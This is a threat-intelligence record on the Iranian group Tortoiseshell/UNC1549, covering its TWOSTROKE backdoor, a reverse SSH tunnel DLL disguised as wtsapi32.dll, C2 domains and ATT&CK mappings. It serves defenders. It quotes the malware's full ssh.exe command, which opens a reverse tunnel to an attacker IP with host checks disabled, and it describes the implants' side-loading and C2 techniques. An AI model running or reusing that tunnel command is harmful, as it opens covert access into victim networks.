# Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore): New Toolset (TWOSTROKE Backdoor, Reverse SSH Tunnel) and Expanded Infrastructure

> Group-IB reports on the Iranian-nexus, IRGC-affiliated Tortoiseshell APT, detailing a TWOSTROKE C++ backdoor and a reverse SSH tunneling utility, both masquerading as wtsapi32.dll, plus a large multi-country infrastructure footprint. Targeting covers defense, aerospace, IT service providers and military organizations in the Middle East and the United States.

- **Published:** 2026-10-20T03:35:51Z
- **Last reviewed:** 2026-10-20T03:35:51Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3923
- **ID:** TL-2026-3923
- **Severity:** HIGH
- **Category:** APT
- **Status:** ACTIVE
- **Actor:** CURIUM - G1012 (Iran)
- **Detections:** 9 · **IOCs:** 31 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Group-IB's August 2026 report analyzes two DLL implants attributed to Tortoiseshell (also tracked as Mirage Kitten, UNC1549 and Nimbus Manticore), an Iranian-nexus espionage group linked to the IRGC and active since at least 2018. Both samples masquerade as the Windows Terminal Server API library wtsapi32.dll and forward-export all legitimate functions, so a legitimate executable that loads the DLL through search-order hijacking or side-loading continues to work while the malicious code runs.

The first sample is TWOSTROKE (MD5 db58adc4a6c192520ed509b20a928279, PE32+ x64 DLL, 638 KB, link time 2018-09-26). It resolves APIs from encrypted stack strings, then starts a worker thread that manages C2 communication over HTTPS POST. Command fields are separated by the delimiter "@##@". The victim identifier is the DNS fully qualified hostname, XORed with the key "Pn", hex-encoded, with the trailing two-thirds reversed. It supports eight command IDs (0-7): file exfiltration, shell or executable execution, in-memory DLL execution, file download, username retrieval, machine-name retrieval, directory listing and file deletion. The C2 for this sample is neexportfolio[.]com, neexportfolio[.]azurewebsites[.]net and neexportfolio.eastus.cloudapp.azure[.]com.

The second sample is a reverse SSH tunneling utility (MD5 07dd28b748656e9e1a870c538d6df68c, PE32+ x64 console DLL, 123 KB, MSVC 19.29.30140, link time 2021-08-19). It runs the built-in OpenSSH client as: C:\windows\system32\openssh\ssh.exe root@172.86.98.113 -p 443 -i C:\Windows\System32\config\systemprofile\ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 1081. The reverse forward exposes a SOCKS-style listener on the attacker server that routes traffic back into the victim network, bypassing inbound firewall restrictions.

Group-IB also maps operational infrastructure under two parent domains, locat[.]sbs (registered 2026-05-18, Cloudflare name servers) and tiktok-u[.]sbs (registered 2026-02-26, now in clientHold). Both use country-coded subdomains (uae1-uae14, sau1-sau3, uk1-uk2, bel1, can2, au1, jp2, bridge1, cloud, 5orka). The 26 resolving IPs are mostly in AS59711 (HZ Hosting), with others in Melbicom, Beltelecom, Vultr, TimeWeb, Cloud.ru and WAIcore. Hosts run Caddy on 80/443 and a TLS service on 2222, and some expose 3x-ui, SOCKS5, Prometheus, uvicorn, RDP or WinRM. Group-IB did not detail persistence or the initial access vector for these samples, but cites the group's history of supply-chain compromise, watering holes and fake recruitment websites.

Public reporting on the same cluster gives wider context. Google GTIG documented UNC1549 spear-phishing with fake job lures and credential-harvesting pages, MINIBIKE, MINIBUS and LIGHTRAIL implants, Run-key persistence, and 125+ Azure-hosted C2 subdomains. Press coverage of Check Point research describes a 2026 Nimbus Manticore campaign using fake career portals, trojanized Zoom installers, SEO-poisoned SQL Developer downloads, and the MiniFast and MiniJunk v2 backdoors. This report's Group-IB findings and the broader UNC1549 reporting are kept distinct in this record, and no CVE is associated.

## MITRE ATT&CK

- T1583.001 Domains
- T1583.006 Web Services
- T1566.002 Spearphishing Link
- T1195 Supply Chain Compromise
- T1204.002 Malicious File
- T1574.001 DLL
- T1574.001 DLL
- T1027 Obfuscated Files or Information
- T1620 Reflective Code Loading
- T1070.004 File Deletion
- T1033 System Owner/User Discovery
- T1082 System Information Discovery
- T1071.001 Web Protocols
- T1572 Protocol Tunneling

## Sources

- [Tortoiseshell: New Toolset and Operational Infrastructure Exposed](https://www.group-ib.com/blog/tortoiseshell-apt-toolset-infrastructure/)
- [When Cats Fly: Suspected Iranian Threat Actor UNC1549 Targets Israeli and Middle East Aerospace and Defense Sectors](https://cloud.google.com/blog/topics/threat-intelligence/suspected-iranian-unc1549-targets-israel-middle-east)
- [Iranian Hackers Deploy MiniFast and MiniJunk Backdoors (The Hacker News)](https://thehackernews.com/2026/05/iranian-hackers-deploy-minifast-and.html)
- [Iran-Nexus Threat Actor UNC1549 Takes Aim at Aerospace (Dark Reading)](https://www.darkreading.com/cybersecurity-operations/iran-nexus-threat-actor-unc1549-takes-aim-aerospace)
- [UNC1549 Critical Infrastructure Espionage Attack (FortiGuard Outbreak Alert)](https://fortiguard.fortinet.com/outbreak-alert/html/unc1549-espionage-attack)
- [CSA Research Note: Nimbus Manticore AI-Assisted Backdoors Target Western Sectors](https://labs.cloudsecurityalliance.org/research/csa-research-note-nimbus-manticore-ai-assisted-malware-irgc/)
- [Frontline Intelligence: Analysis of UNC1549 TTPs, Custom Tools, and Malware Targeting the Aerospace and Defense Ecosystem](https://imtr.net/article/frontline-intelligence-analysis-of-unc1549-ttps-custom-tools-and-malware-de24)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3923